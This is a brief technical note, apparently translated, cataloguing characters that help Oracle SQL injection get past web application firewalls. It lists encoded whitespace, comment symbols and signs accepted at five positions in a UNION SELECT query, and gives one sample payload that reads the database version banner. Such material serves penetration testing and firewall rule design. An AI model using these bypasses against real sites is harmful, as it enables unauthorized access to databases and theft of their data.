WAF Bypass Database features (Oracle discovery)

0x01 background

Oracle is similar to MySQL features, semi-automated fuzz, recording results.

0x02 Test Position One: The position between the parameter and the Union

1) White space characters

The white space characters available in Oracle are:%00%09%0a%0b%0c%0d%20

2) Comment Symbol/**/

3) Other characters

%2e. Point number

Position two: The position between union and select

1) White space characters

The white space characters available in Oracle are:%00%09%0a%0b%0c%0d%20

2) Comment Symbol/**/

Position three: Location between select and query parameters

1) White space characters

The white space characters available in Oracle are:%00%09%0a%0b%0c%0d%20

2) Comment Symbol/**/

3) Other characters

%2B +

%2d-

%ad

SELECT * FROM EMP where mgr=7782 Union Select+null, (select banner from V$version where Rownum=1), Null,null,null,null,nul L,null from DUAL

Position four: The location between the query parameter and the FROM

1) White space characters

The white space characters available in Oracle are:%00%09%0a%0b%0c%0d%20

2) Comment Symbol/**/

Position five: From the back of the position

1) White space characters

The white space characters available in Oracle are:%00%09%0a%0b%0c%0d%20

2) Comment Symbol/**/

WAF Bypass Database features (Oracle discovery)